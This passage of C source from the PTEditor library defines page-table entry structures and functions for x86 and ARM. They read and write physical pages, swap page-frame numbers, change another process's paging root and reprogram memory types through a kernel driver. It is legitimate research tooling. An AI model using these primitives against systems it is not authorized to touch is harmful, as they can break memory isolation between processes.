size_t write_through : 1;\n    size_t cache_disabled : 1;\n    size_t accessed : 1;\n    size_t dirty : 1;\n    size_t size : 1;\n    size_t global : 1;\n    size_t ignored_2 : 3;\n    size_t pat : 1;\n    size_t reserved_2 : 8;\n    size_t pfn : 19;\n    size_t reserved_1 : 12;\n    size_t ignored_1 : 11;\n    size_t execution_disabled : 1;\n} ptedit_pmd_large_t;\n#pragma pack(pop)\n\n/**\n * Struct to access the fields of the PTE\n */\n#pragma pack(push,1)\ntypedef struct {\n    size_t present : 1;\n    size_t writeable : 1;\n    size_t user_access : 1;\n    size_t write_through : 1;\n    size_t cache_disabled : 1;\n    size_t accessed : 1;\n    size_t dirty : 1;\n    size_t size : 1;\n    size_t global : 1;\n    size_t ignored_2 : 3;\n    size_t pfn : 28;\n    size_t reserved_1 : 12;\n    size_t ignored_1 : 11;\n    size_t execution_disabled : 1;\n} ptedit_pte_t;\n#pragma pack(pop)\n\n#elif defined(__aarch64__)\n#define PTEDIT_PAGE_PRESENT 3\n\n\n/**\n * Struct to access the fields of the PGD\n */\ntypedef struct {\n    size_t present : 2;\n    size_t ignored_1 : 10;\n    size_t pfn : 36;\n    size_t reserved : 4;\n    size_t ignored_2 : 7;\n    size_t pxn_table : 1;\n    size_t xn_table : 1;\n    size_t ap_table : 2;\n    size_t ns_table : 1;\n}__attribute__((__packed__)) ptedit_pgd_t;\n\n\n/**\n * Struct to access the fields of the P4D\n */\ntypedef ptedit_pgd_t ptedit_p4d_t;\n\n\n/**\n * Struct to access the fields of the PUD\n */\ntypedef ptedit_pgd_t ptedit_pud_t;\n\n\n/**\n * Struct to access the fields of the PMD\n */\ntypedef ptedit_pgd_t ptedit_pmd_t;\n\n\n/**\n * Struct to access the fields of the PGD when mapping a large page\n */\ntypedef struct {\n    size_t present : 2;\n    size_t memory_attributes_index : 3;\n    size_t non_secure : 1;\n    size_t access_permissions : 2;\n    size_t shareability_field : 2;\n    size_t access_flag : 1;\n    size_t not_global : 1;\n    size_t reserved_1 : 18;\n    size_t pfn : 18;\n    size_t reserved_2 : 4;\n    size_t contiguous : 1;\n    size_t privileged_execute_never : 1;\n    size_t execute_never : 1;\n    size_t ingored_1 : 4;\n    size_t ignored_2 : 5;\n}__attribute__((__packed__)) ptedit_pgd_large_t;\n\n\n/**\n * Struct to access the fields of the PMD when mapping a large page\n */\ntypedef struct {\n    size_t present : 2;\n    size_t memory_attributes_index : 3;\n    size_t non_secure : 1;\n    size_t access_permissions : 2;\n    size_t shareability_field : 2;\n    size_t access_flag : 1;\n    size_t not_global : 1;\n    size_t reserved_1 : 9;\n    size_t pfn : 27;\n    size_t reserved_2 : 4;\n    size_t contiguous : 1;\n    size_t privileged_execute_never : 1;\n    size_t execute_never : 1;\n    size_t ingored_1 : 4;\n    size_t ignored_2 : 5;\n}__attribute__((__packed__)) ptedit_pmd_large_t;\n\n\n/**\n * Struct to access the fields of the PTE\n */\ntypedef struct {\n    size_t present : 2;\n    size_t memory_attributes_index : 3;\n    size_t non_secure : 1;\n    size_t access_permissions : 2;\n    size_t shareability_field : 2;\n    size_t access_flag : 1;\n    size_t not_global : 1;\n    size_t pfn : 36;\n    size_t reserved_1 : 4;\n    size_t contiguous : 1;\n    size_t privileged_execute_never : 1;\n    size_t execute_never : 1;\n    size_t ingored_1 : 4;\n    size_t ignored_2 : 5;\n}__attribute__((__packed__)) ptedit_pte_t;\n#endif\n\n/**\n * Casts a paging structure entry (e.g., page table) to a structure with easy access to its fields\n *\n * @param[in] v Entry to Cast\n * @param[in] type Data type of struct to cast to, e.g., ptedit_pte_t\n *\n * @return Struct of type \"type\" with easily accessible fields\n */\n#define ptedit_cast(v, type) (*((type*)(&(v))))\n\n /** @} */\n\n\n\n /**\n  * General system info\n  *\n  * @defgroup SYSTEMINFO System info\n  *\n  * @{\n  */\n\n  /**\n   * Returns the default page size of the system\n   *\n   * @return Page size of the system in bytes\n   */\nint ptedit_get_pagesize();\n\n/** @} */\n\n\n\n/**\n * Get and set page frame numbers\n *\n * @defgroup PFN Page frame numbers (PFN)\n *\n * @{\n */\n\n /**\n  * Returns a new page-table entry where the page-frame number (PFN) is replaced by the specified one.\n  *\n  * @param[in] entry The page-table entry to modify\n  * @param[in] pfn The new page-frame number (PFN)\n  *\n  * @return A new page-table entry with the given page-frame number\n  */\nsize_t ptedit_set_pfn(size_t entry, size_t pfn);\n\n/**\n * Returns the page-frame number (PFN) of a page-table entry.\n *\n * @param[in] entry The page-table entry to extract the PFN from\n *\n * @return The page-frame number\n */\nsize_t ptedit_get_pfn(size_t entry);\n\n/** @} */\n\n\n\n\n/**\n * Reading and writing of physical pages\n *\n * @defgroup PHYSICALPAGE Physical pages\n *\n * @{\n */\n\n /**\n  * Retrieves the content of a physical page.\n  *\n  * @param[in] pfn The page-frame number (PFN) of the page to read\n  * @param[out] buffer A buffer which is large enough to hold the content of the page\n  *\n  */\nvoid ptedit_read_physical_page(size_t pfn, char* buffer);\n\n/**\n * Replaces the content of a physical page.\n *\n * @param[in] pfn The page-frame number (PFN) of the page to update\n * @param[in] content A buffer containing the new content of the page (must be the size of a physical page)\n *\n */\nvoid ptedit_write_physical_page(size_t pfn, char* content);\n\n/**\n * Map a physical address range.\n *\n * @param[in] physical The physical address to map\n * @param[in] length The length of the physical memory range to map\n *\n * @return A virtual address that can be used to access the physical range\n */\nvoid* ptedit_pmap(size_t physical, size_t length);\n\n/** @} */\n\n\n\n\n/**\n * Read and modify the root of paging structure\n *\n * @defgroup PAGING Paging\n *\n * @{\n */\n\n /**\n  * Returns the root of the paging structure (i.e., CR3 on x86 and TTBR0 on ARM).\n  *\n  * @param[in] pid The proccess id (0 for own process)\n  *\n  * @return The phyiscal address (not PFN!) of the first page table (i.e., the PGD)\n  *\n  */\nsize_t ptedit_get_paging_root(pid_t pid);\n\n/**\n * Sets the root of the paging structure (i.e., CR3 on x86 and TTBR0 on ARM).\n *\n * @param[in] pid The proccess id (0 for own process)\n * @param[in] root The physical address (not PFN!) of the first page table (i.e., the PGD)\n *\n */\nvoid ptedit_set_paging_root(pid_t pid, size_t root);\n\n/** @} */\n\n\n/**\n * Invalidations and barriers\n *\n * @defgroup BARRIERS TLB/Barriers\n *\n * @{\n */\n\n /**\n  * Invalidates the TLB for a given address on all CPUs.\n  *\n  * @param[in] address The address to invalidate\n  *\n  */\nvoid ptedit_invalidate_tlb(void* address);\n\n /**\n  * Change the method used for flushing the TLB (either kernel or custom function)\n  *\n  * @param[in] implementation The implementation to use, either PTEDITOR_TLB_INVALIDATION_KERNEL or PTEDITOR_TLB_INVALIDATION_CUSTOM\n  *\n  * @return 0 on success, -1 on failure\n  */\nint ptedit_switch_tlb_invalidation(int implementation);\n\n/**\n * A full serializing barrier which stops everything.\n *\n */\nvoid ptedit_full_serializing_barrier();\n\n/** @} */\n\n\n\n/**\n * Memory types (x86 PATs / ARM MAIR)\n *\n * @defgroup MTS Memory types (PATs / MAIR)\n *\n * @{\n */\n\n /**\n  * Reads the value of all memory types (x86 PATs / ARM MAIRs). This is equivalent to reading the MSR 0x277 (x86) / MAIR_EL1 (ARM).\n  *\n  * @return The memory types in the same format as in the IA32_PAT MSR / MAIR_EL1\n  *\n  */\nsize_t ptedit_get_mts();\n\n/**\n * Programs the value of all memory types (x86 PATs / ARM MAIRs). This is equivalent to writing to the MSR 0x277 (x86) / MAIR_EL1 (ARM) on all CPUs.\n *\n * @param[in] mts The memory types in the same format as in the IA32_PAT MSR / MAIR_EL1\n *\n */\nvoid ptedit_set_mts(size_t mts);\n\n/**\n * Reads the value of a specific memory type attribute (PAT/MAIR).\n *\n * @param[in] mt The PAT/MAIR ID (from 0 to 7)\n *\n * @return The PAT/MAIR value (can be one of PTEDIT_MT_*)\n *\n */\nchar ptedit_get_mt(unsigned char mt);\n\n/**\n * Programs the value of a specific memory type attribute (PAT/MAIR).\n *\n * @param[in] mt The PAT/MAIR ID (from 0 to 7)\n * @param[in] value The PAT/MAIR value (can be one of PTEDIT_MT_*)\n *\n */\nvoid ptedit_set_mt(unsigned char mt, unsigned char value);\n\n/**\n * Generates a bitmask of all memory type attributes (PAT/MAIR) which are programmed to the given value.\n *\n * @param[in] type A memory type, i.e., PAT/MAIR value (one of PTEDIT_MT_*)\n *\n * @return A bitmask where a set bit indicates that the corresponding PAT/MAIR has the given type\n *\n */\nunsigned char ptedit_find_mt(unsigned char type);\n\n/**\n * Returns the first memory type attribute (PAT/MAIR) which is programmed to the given memory type.\n *\n * @param[in] type A memory type, i.e., PAT/MAIR value (one of PTEDIT_MT_*)\n *\n * @return A PAT/MAIR ID, or -1 if no PAT/MAIR of this type was found\n *\n */\nint ptedit_find_first_mt(unsigned char type);\n\n/**\n * Returns a new page-table entry which uses the given memory type (PAT/MAIR).\n *\n * @param[in] entry A page-table entry\n * @param[in] mt A PAT/MAIR ID (between 0 and 7)\n *\n * @return A new page-table entry with the given memory type (PAT/MAIR)\n *\n */\nsize_t ptedit_apply_mt(size_t entry, unsigned char mt);\n\n/**\n * Returns the memory type (i.e., PAT/MAIR ID) which is used by a page-table entry.\n *\n * @param[in] entry A page-table entry\n *\n * @return A PAT/MAIR ID (between 0 and 7)\n *\n */\nunsigned char ptedit_extract_mt(size_t entry);\n\n/**\n * Returns a human-readable representation of a memory type (PAT/MAIR value).\n *\n * @param[in] mt A memory type (PAT/MAIR value, e.g., one of PTEDIT_MT_*)\n *\n * @return A human-readable representation of the memory type\n *\n */\nconst char* ptedit_mt_to_string(unsigned char mt);\n\n/** @} */\n\n\n\n/**\n * Pretty print\n *\n * @defgroup PRETTYPRINT Pretty print\n *\n * @{\n */\n\n /**\n  * Pretty prints a ptedit_entry_t struct.\n  *\n  * @param[in] entry A ptedit_entry_t struct\n  *\n  */\nvoid ptedit_print_entry_t(ptedit_entry_t entry);\n\n/**\n * Pretty prints a page-table entry.\n *\n * @param[in] entry A page-table entry\n *\n */\nvoid ptedit_print_entry(size_t entry);\n\n/**\n * Prints a single line of the pretty-print representation of a page-table entry.\n *\n * @param[in] entry A page-table entry\n * @param[in] line The line to print (0 to 3)\n *\n */\nvoid ptedit_print_entry_line(size_t entry, int line);\n\n/** @} */\n\n#endif\n#include <stdio.h>\n#include <stdlib.h>\n#include <fcntl.h>\n#include <string.h>\n\n\n#if defined(LINUX)\n#include <sys/ioctl.h>\n#include <unistd.h>\n#include <sys/mman.h>\n#else\n#include <Windows.h>\n#endif\n\n#if defined(LINUX)\n#define PTEDIT_COLOR_RED     \"\\x1b[31m\"\n#define PTEDIT_COLOR_GREEN   \"\\x1b[32m\"\n#define PTEDIT_COLOR_RESET   \"\\x1b[0m\"\n#else\n#define PTEDIT_COLOR_RED     \"\"\n#define PTEDIT_COLOR_GREEN   \"\"\n#define PTEDIT_COLOR_RESET   \"\"\n#endif\n\n#if defined(WINDOWS)\n#define NO_WINDOWS_SUPPORT fprintf(stderr, PTEDIT_COLOR_RED \"[-]\" PTEDIT_COLOR_RESET \"Error: %s not supported on Windows\", __func__);\n#endif\n\n#if defined(WINDOWS)\nstatic HANDLE ptedit_fd;\n#else\nstatic int ptedit_fd;\n#endif\nstatic int ptedit_umem;\nstatic int ptedit_pagesize;\nstatic size_t ptedit_paging_root;\nstatic unsigned char* ptedit_vmem;\n\ntypedef struct {\n    int has_pgd, has_p4d, has_pud, has_pmd, has_pt;\n    int pgd_entries, p4d_entries, pud_entries, pmd_entries, pt_entries;\n    int page_offset;\n} ptedit_paging_definition_t;\n\nptedit_paging_definition_t ptedit_paging_definition;\n\n\n\n// ---------------------------------------------------------------------------\nptedit_entry_t ptedit_resolve_kernel(void* address, pid_t pid) {\n    ptedit_entry_t vm;\n    memset(&vm, 0, sizeof(vm));\n    vm.vaddr = (size_t)address;\n    vm.pid = (size_t)pid;\n#if defined(LINUX)\n    ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_VM_RESOLVE, (size_t)&vm);\n#else\n    NO_WINDOWS_SUPPORT;\n#endif\n    return vm;\n}\n\n// ---------------------------------------------------------------------------\ntypedef size_t(*ptedit_phys_read_t)(size_t);\ntypedef void(*ptedit_phys_write_t)(size_t, size_t);\n\n// ---------------------------------------------------------------------------\nstatic inline size_t ptedit_phys_read_map(size_t address) {\n    return *(size_t*)(ptedit_vmem + address);\n}\n\n// ---------------------------------------------------------------------------\nstatic inline void ptedit_phys_write_map(size_t address, size_t value) {\n    *(size_t*)(ptedit_vmem + address) = value;\n}\n\n// ---------------------------------------------------------------------------\nstatic inline size_t ptedit_phys_read_pread(size_t address) {\n    size_t val = 0;\n#if defined(LINUX)\n    if (pread(ptedit_umem, &val, sizeof(size_t), address) == -1) {\n      return val;\n    }\n#else\n    ULONG returnLength;\n    DeviceIoControl(ptedit_fd, PTEDITOR_READ_PHYS_VAL, (LPVOID)&address, sizeof(address), (LPVOID)&val, sizeof(val), &returnLength, 0);\n#endif\n    return val;\n}\n\n// ---------------------------------------------------------------------------\nstatic inline void ptedit_phys_write_pwrite(size_t address, size_t value) {\n#if defined(LINUX)\n    if (pwrite(ptedit_umem, &value, sizeof(size_t), address) == -1) {\n      return;\n    }\n#else\n    ULONG returnLength;\n    size_t info[2];\n    info[0] = address;\n    info[1] = value;\n    DeviceIoControl(ptedit_fd, PTEDITOR_WRITE_PHYS_VAL, (LPVOID)&info, sizeof(info), (LPVOID)&info, sizeof(info), &returnLength, 0);\n#endif\n}\n\n// ---------------------------------------------------------------------------\nstatic ptedit_entry_t ptedit_resolve_user_ext(void* address, pid_t pid, ptedit_phys_read_t deref) {\n    size_t root = (pid == 0) ? ptedit_paging_root : ptedit_get_paging_root(pid);\n\n    int pgdi, p4di, pudi, pmdi, pti;\n    size_t addr = (size_t)address;\n    pgdi = (addr >> (ptedit_paging_definition.page_offset\n        + ptedit_paging_definition.pt_entries\n        + ptedit_paging_definition.pmd_entries\n        + ptedit_paging_definition.pud_entries\n        + ptedit_paging_definition.p4d_entries)) % (1ull << ptedit_paging_definition.pgd_entries);\n    p4di = (addr >> (ptedit_paging_definition.page_offset\n        + ptedit_paging_definition.pt_entries\n        + ptedit_paging_definition.pmd_entries\n        + ptedit_paging_definition.pud_entries)) % (1ull << ptedit_paging_definition.p4d_entries);\n    pudi = (addr >> (ptedit_paging_definition.page_offset\n        + ptedit_paging_definition.pt_entries\n        + ptedit_paging_definition.pmd_entries)) % (1ull << ptedit_paging_definition.pud_entries);\n    pmdi = (addr >> (ptedit_paging_definition.page_offset\n        + ptedit_paging_definition.pt_entries)) % (1ull << ptedit_paging_definition.pmd_entries);\n    pti = (addr >> ptedit_paging_definition.page_offset) % (1ull << ptedit_paging_definition.pt_entries);\n\n    ptedit_entry_t resolved;\n    memset(&resolved, 0, sizeof(resolved));\n    resolved.vaddr = (size_t)address;\n    resolved.pid = (size_t)pid;\n    resolved.valid = 0;\n    \n    if(!root) return resolved;\n\n    size_t pgd_entry, p4d_entry, pud_entry, pmd_entry, pt_entry;\n\n    //     printf(\"%zx + CR3(%zx) + PGDI(%zx) * 8 = %zx\\n\", ptedit_vmem, root, pgdi, ptedit_vmem + root + pgdi * sizeof(size_t));\n    pgd_entry = deref(root + pgdi * sizeof(size_t));\n    if (ptedit_cast(pgd_entry, ptedit_pgd_t).present != PTEDIT_PAGE_PRESENT) {\n        return resolved;\n    }\n    resolved.pgd = pgd_entry;\n    resolved.valid |= PTEDIT_VALID_MASK_PGD;\n    if (ptedit_paging_definition.has_p4d) {\n        size_t pfn = (size_t)(ptedit_cast(pgd_entry, ptedit_pgd_t).pfn);\n        p4d_entry = deref(pfn * ptedit_pagesize + p4di * sizeof(size_t));\n        resolved.valid |= PTEDIT_VALID_MASK_P4D;\n    }\n    else {\n        p4d_entry = pgd_entry;\n    }\n    resolved.p4d = p4d_entry;\n\n    if (ptedit_cast(p4d_entry, ptedit_p4d_t).present != PTEDIT_PAGE_PRESENT) {\n        return resolved;\n    }\n\n\n    if (ptedit_paging_definition.has_pud) {\n        size_t pfn = (size_t)(ptedit_cast(p4d_entry, ptedit_p4d_t).pfn);\n        pud_entry = deref(pfn * ptedit_pagesize + pudi * sizeof(size_t));\n        resolved.valid |= PTEDIT_VALID_MASK_PUD;\n    }\n    else {\n        pud_entry = p4d_entry;\n    }\n    resolved.pud = pud_entry;\n\n    if (ptedit_cast(pud_entry, ptedit_pud_t).present != PTEDIT_PAGE_PRESENT) {\n        return resolved;\n    }\n\n    if (ptedit_paging_definition.has_pmd) {\n        size_t pfn = (size_t)(ptedit_cast(pud_entry, ptedit_pud_t).pfn);\n        pmd_entry = deref(pfn * ptedit_pagesize + pmdi * sizeof(size_t));\n        resolved.valid |= PTEDIT_VALID_MASK_PMD;\n    }\n    else {\n        pmd_entry = pud_entry;\n    }\n    resolved.pmd = pmd_entry;\n\n    if (ptedit_cast(pmd_entry, ptedit_pmd_t).present != PTEDIT_PAGE_PRESENT) {\n        return resolved;\n    }\n\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n    if (!ptedit_cast(pmd_entry, ptedit_pmd_t).size) {\n#endif\n        // normal 4kb page\n        size_t pfn = (size_t)(ptedit_cast(pmd_entry, ptedit_pmd_t).pfn);\n        pt_entry = deref(pfn * ptedit_pagesize + pti * sizeof(size_t)); //pt[pti];\n        resolved.pte = pt_entry;\n        resolved.valid |= PTEDIT_VALID_MASK_PTE;\n        if (ptedit_cast(pt_entry, ptedit_pte_t).present != PTEDIT_PAGE_PRESENT) {\n            return resolved;\n        }\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n    }\n#endif\n    return resolved;\n}\n\n\n// ---------------------------------------------------------------------------\nstatic ptedit_entry_t ptedit_resolve_user(void* address, pid_t pid) {\n    return ptedit_resolve_user_ext(address, pid, ptedit_phys_read_pread);\n}\n\n\n// ---------------------------------------------------------------------------\nstatic ptedit_entry_t ptedit_resolve_user_map(void* address, pid_t pid) {\n    return ptedit_resolve_user_ext(address, pid, ptedit_phys_read_map);\n}\n\n\n// ---------------------------------------------------------------------------\nvoid ptedit_update_kernel(void* address, pid_t pid, ptedit_entry_t* vm) {\n    vm->vaddr = (size_t)address;\n    vm->pid = (size_t)pid;\n#if defined(LINUX)\n    ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_VM_UPDATE, (size_t)vm);\n#else \n    NO_WINDOWS_SUPPORT\n#endif\n}\n\n// ---------------------------------------------------------------------------\nvoid ptedit_update_user_ext(void* address, pid_t pid, ptedit_entry_t* vm, ptedit_phys_write_t pset) {\n    ptedit_entry_t current = ptedit_resolve(address, pid);\n    size_t root = (pid == 0) ? ptedit_paging_root : ptedit_get_paging_root(pid);\n\n    if(!root) return;\n    \n    size_t pgdi, p4di, pudi, pmdi, pti;\n    size_t addr = (size_t)address;\n    pgdi = (addr >> (ptedit_paging_definition.page_offset\n        + ptedit_paging_definition.pt_entries\n        + ptedit_paging_definition.pmd_entries\n        + ptedit_paging_definition.pud_entries\n        + ptedit_paging_definition.p4d_entries)) % (1ull << ptedit_paging_definition.pgd_entries);\n    p4di = (addr >> (ptedit_paging_definition.page_offset\n        + ptedit_paging_definition.pt_entries\n        + ptedit_paging_definition.pmd_entries\n        + ptedit_paging_definition.pud_entries)) % (1ull << ptedit_paging_definition.p4d_entries);\n    pudi = (addr >> (ptedit_paging_definition.page_offset\n        + ptedit_paging_definition.pt_entries\n        + ptedit_paging_definition.pmd_entries)) % (1ull << ptedit_paging_definition.pud_entries);\n    pmdi = (addr >> (ptedit_paging_definition.page_offset\n        + ptedit_paging_definition.pt_entries)) % (1ull << ptedit_paging_definition.pmd_entries);\n    pti = (addr >> ptedit_paging_definition.page_offset) % (1ull << ptedit_paging_definition.pt_entries);\n\n    if ((vm->valid & PTEDIT_VALID_MASK_PTE) && (current.valid & PTEDIT_VALID_MASK_PTE)) {\n        pset((size_t)ptedit_cast(current.pmd, ptedit_pmd_t).pfn * ptedit_pagesize + pti * (ptedit_pagesize / (1 << ptedit_paging_definition.pt_entries)), vm->pte);\n    }\n    if ((vm->valid & PTEDIT_VALID_MASK_PMD) && (current.valid & PTEDIT_VALID_MASK_PMD) && ptedit_paging_definition.has_pmd) {\n        pset((size_t)ptedit_cast(current.pud, ptedit_pud_t).pfn * ptedit_pagesize + pmdi * (ptedit_pagesize / (1 << ptedit_paging_definition.pmd_entries)), vm->pmd);\n    }\n    if ((vm->valid & PTEDIT_VALID_MASK_PUD) && (current.valid & PTEDIT_VALID_MASK_PUD) && ptedit_paging_definition.has_pud) {\n        pset((size_t)ptedit_cast(current.p4d, ptedit_p4d_t).pfn * ptedit_pagesize + pudi * (ptedit_pagesize / (1 << ptedit_paging_definition.pud_entries)), vm->pud);\n    }\n    if ((vm->valid & PTEDIT_VALID_MASK_P4D) && (current.valid & PTEDIT_VALID_MASK_P4D) && ptedit_paging_definition.has_p4d) {\n        pset((size_t)ptedit_cast(current.pgd, ptedit_pgd_t).pfn * ptedit_pagesize + p4di * (ptedit_pagesize / (1 << ptedit_paging_definition.p4d_entries)), vm->p4d);\n    }\n    if ((vm->valid & PTEDIT_VALID_MASK_PGD) && (current.valid & PTEDIT_VALID_MASK_PGD) && ptedit_paging_definition.has_pgd) {\n        pset(root + pgdi * (ptedit_pagesize / (1 << ptedit_paging_definition.pgd_entries)), vm->pgd);\n    }\n\n    ptedit_invalidate_tlb(address);\n}\n\n// ---------------------------------------------------------------------------\nstatic void ptedit_update_user(void* address, pid_t pid, ptedit_entry_t* vm) {\n    ptedit_update_user_ext(address, pid, vm, ptedit_phys_write_pwrite);\n    ptedit_invalidate_tlb(address);\n}\n\n\n// ---------------------------------------------------------------------------\nstatic void ptedit_update_user_map(void* address, pid_t pid, ptedit_entry_t* vm) {\n    ptedit_update_user_ext(address, pid, vm, ptedit_phys_write_map);\n    ptedit_invalidate_tlb(address);\n}\n\n// ---------------------------------------------------------------------------\nvoid* ptedit_pmap(size_t physical, size_t length) {\n#if defined(LINUX)\n    char* m = (char*)mmap(0, length + (physical % ptedit_pagesize), PROT_READ | PROT_WRITE, MAP_SHARED, ptedit_umem, ((size_t)(physical / ptedit_pagesize)) * ptedit_pagesize);\n    return m + (physical % ptedit_pagesize);\n#else\n    NO_WINDOWS_SUPPORT;\n    return NULL;\n#endif\n}\n\n// ---------------------------------------------------------------------------\nsize_t ptedit_set_pfn(size_t pte, size_t pfn) {\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n    pte &= ~(((1ull << 40) - 1) << 12);\n#elif defined(__aarch64__)\n    pte &= ~(((1ull << 36) - 1) << 12);\n#endif\n    pte |= pfn << 12;\n    return pte;\n}\n\n\n// ---------------------------------------------------------------------------\nsize_t ptedit_get_pfn(size_t pte) {\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n    return (pte & (((1ull << 40) - 1) << 12)) >> 12;\n#elif defined(__aarch64__)\n    return (pte & (((1ull << 36) - 1) << 12)) >> 12;\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\n#define PTEDIT_B(val, bit) (!!((val) & (1ull << (bit))))\n\n#define PEDIT_PRINT_B(fmt, bit)                                                \\\n  if ((bit)) {                                                                 \\\n    printf(PTEDIT_COLOR_GREEN);                                                       \\\n    printf((fmt), (bit));                                                      \\\n    printf(PTEDIT_COLOR_RESET);                                                       \\\n  } else {                                                                     \\\n    printf((fmt), (bit));                                                      \\\n  }                                                                            \\\n  printf(\"|\");\n\n\n// ---------------------------------------------------------------------------\nvoid ptedit_print_entry_line(size_t entry, int line) {\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n    if (line == 0 || line == 3) printf(\"+--+------------------+-+-+-+-+-+-+-+-+--+--+-+-+-+\\n\");\n    if (line == 1) printf(\"|NX|       PFN        |H|?|?|?|G|S|D|A|UC|WT|U|W|P|\\n\");\n    if (line == 2) {\n        printf(\"|\");\n        PEDIT_PRINT_B(\" %d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_NX));\n        printf(\" %16p |\", (void*)((entry >> 12) & ((1ull << 40) - 1)));\n        PEDIT_PRINT_B(\"%d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_PAT_LARGE));\n        PEDIT_PRINT_B(\"%d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_SOFTW3));\n        PEDIT_PRINT_B(\"%d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_SOFTW2));\n        PEDIT_PRINT_B(\"%d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_SOFTW1));\n        PEDIT_PRINT_B(\"%d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_GLOBAL));\n        PEDIT_PRINT_B(\"%d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_PSE));\n        PEDIT_PRINT_B(\"%d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_DIRTY));\n        PEDIT_PRINT_B(\"%d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_ACCESSED));\n        PEDIT_PRINT_B(\" %d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_PCD));\n        PEDIT_PRINT_B(\" %d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_PWT));\n        PEDIT_PRINT_B(\"%d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_USER));\n        PEDIT_PRINT_B(\"%d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_RW));\n        PEDIT_PRINT_B(\"%d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_PRESENT));\n        printf(\"\\n\");\n    }\n#elif defined(__aarch64__)\n    if (line == 0 || line == 3) {\n        printf(\"+--+--+--+---+-+--+------------------+--+-+-+-+--+---+-+\\n\");\n    }\n    if (line == 1) {\n        printf(\"| ?| ?|XN|PXN|C| ?|        PFN       |NG|A|S|P|NS|MAI|T|\\n\");\n    }\n    if (line == 2) {\n        printf(\"|\");\n        PEDIT_PRINT_B(\"%2d\", (PTEDIT_B(entry, 63) << 4) | (PTEDIT_B(entry, 62) << 3) | (PTEDIT_B(entry, 61) << 2) | (PTEDIT_B(entry, 60) << 1) | PTEDIT_B(entry, 59));\n        PEDIT_PRINT_B(\"%2d\", (PTEDIT_B(entry, 58) << 3) | (PTEDIT_B(entry, 57) << 2) | (PTEDIT_B(entry, 56) << 1) | PTEDIT_B(entry, 55));\n        PEDIT_PRINT_B(\" %d\", PTEDIT_B(entry, 54));\n        PEDIT_PRINT_B(\" %d \", PTEDIT_B(entry, 53));\n        PEDIT_PRINT_B(\"%d\", PTEDIT_B(entry, 52));\n        PEDIT_PRINT_B(\"%2d\", (PTEDIT_B(entry, 51) << 3) | (PTEDIT_B(entry, 50) << 2) | (PTEDIT_B(entry, 49) << 1) | PTEDIT_B(entry, 48));\n        printf(\" %16p |\", (void*)((entry >> 12) & ((1ull << 36) - 1)));\n        PEDIT_PRINT_B(\" %d\", PTEDIT_B(entry, 11));\n        PEDIT_PRINT_B(\"%d\", PTEDIT_B(entry, 10));\n        PEDIT_PRINT_B(\"%d\", (PTEDIT_B(entry, 9) << 1) | PTEDIT_B(entry, 8));\n        PEDIT_PRINT_B(\"%d\", (PTEDIT_B(entry, 7) << 1) | PTEDIT_B(entry, 6));\n        PEDIT_PRINT_B(\" %d\", PTEDIT_B(entry, 5));\n        PEDIT_PRINT_B(\" %d \", (PTEDIT_B(entry, 4) << 2) | (PTEDIT_B(entry, 3) << 1) | PTEDIT_B(entry, 2));\n        PEDIT_PRINT_B(\"%d\", (PTEDIT_B(entry, 1) << 1) | PTEDIT_B(entry, 0));\n        printf(\"\\n\");\n    }\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nvoid ptedit_print_entry(size_t entry) {\n    int i = 0;\n    for (i = 0; i < 4; i++) {\n        ptedit_print_entry_line(entry, i);\n    }\n}\n\n// ---------------------------------------------------------------------------\nvoid ptedit_print_entry_t(ptedit_entry_t entry) {\n    if (entry.valid & PTEDIT_VALID_MASK_PGD) {\n        printf(\"PGD of address\\n\");\n        ptedit_print_entry(entry.pgd);\n    }\n    if (entry.valid & PTEDIT_VALID_MASK_P4D) {\n        printf(\"P4D of address\\n\");\n        ptedit_print_entry(entry.p4d);\n    }\n    if (entry.valid & PTEDIT_VALID_MASK_PUD) {\n        printf(\"PUD of address\\n\");\n        ptedit_print_entry(entry.pud);\n    }\n    if (entry.valid & PTEDIT_VALID_MASK_PMD) {\n        printf(\"PMD of address\\n\");\n        ptedit_print_entry(entry.pmd);\n    }\n    if (entry.valid & PTEDIT_VALID_MASK_PTE) {\n        printf(\"PTE of address\\n\");\n        ptedit_print_entry(entry.pte);\n    }\n}\n\n// ---------------------------------------------------------------------------\nint ptedit_init() {\n#if defined(LINUX)\n    ptedit_fd = open(PTEDITOR_DEVICE_PATH, O_RDONLY);\n    if (ptedit_fd < 0) {\n        fprintf(stderr, PTEDIT_COLOR_RED \"[-]\" PTEDIT_COLOR_RESET \"Error: Could not open PTEditor device: %s\\n\", PTEDITOR_DEVICE_PATH);\n        return -1;\n    }\n    ptedit_umem = open(\"/proc/umem\", O_RDWR);\n#else\n    ptedit_fd = CreateFile(PTEDITOR_DEVICE_PATH, GENERIC_ALL, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM, 0);\n    if (ptedit_fd == INVALID_HANDLE_VALUE) {\n        fprintf(stderr, PTEDIT_COLOR_RED \"[-]\" PTEDIT_COLOR_RESET \"Error: Could not open PTEditor device: %ws\\n\", PTEDITOR_DEVICE_PATH);\n        return -1;\n    }\n    ptedit_umem = 0;\n#endif\n#if defined(LINUX)\n    ptedit_use_implementation(PTEDIT_IMPL_KERNEL);\n#elif defined(WINDOWS)\n    ptedit_use_implementation(PTEDIT_IMPL_USER_PREAD);\n#endif\n    //   }\n#if defined(LINUX)\n    ptedit_pagesize = getpagesize();\n#else\n    ptedit_pagesize 